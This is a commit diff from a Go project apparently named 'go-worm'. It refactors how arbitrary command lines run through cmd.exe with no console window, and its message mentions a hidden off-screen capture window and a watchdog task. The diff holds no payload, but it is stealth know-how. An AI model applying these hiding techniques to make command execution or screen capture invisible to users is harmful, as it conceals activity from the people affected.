fix(windows): prevent console window flash

- Centralize hidden-process setup per OS
- Hide console early to avoid startup flash
- Keep capture window off-screen and hidden
- Enable unified scheduler for watchdog task
- Force GUI subsystem in build script

lib/command/command.go

@@ -5,12 +5,10 @@ import (
 	"context"
 	"errors"
 	"os/exec"
-	"syscall"
 	"time"
 
-	"golang.org/x/sys/windows"
-
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
+	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
 	"tea.chunkbyte.com/kato/go-worm/lib/models"
 )
 
@@ -34,11 +32,8 @@ func ResolveTimeout(seconds int) (time.Duration, error) {
 }
 
 func Run(ctx context.Context, cmdline string) (models.ExecResponse, error) {
-	cmd := exec.CommandContext(ctx, "cmd.exe", "/C", cmdline)
-	cmd.SysProcAttr = &syscall.SysProcAttr{
-		HideWindow:    true,
-		CreationFlags: windows.CREATE_NO_WINDOW,
-	}
+	cmd := exec.CommandContext(ctx, "cmd.exe", "/D", "/C", cmdline)
+	cmd.SysProcAttr = helpers.HiddenSysProcAttr()
 	var stdout, stderr bytes.Buffer
 	cmd.Stdout = &stdout
 	cmd.Stderr = &stderr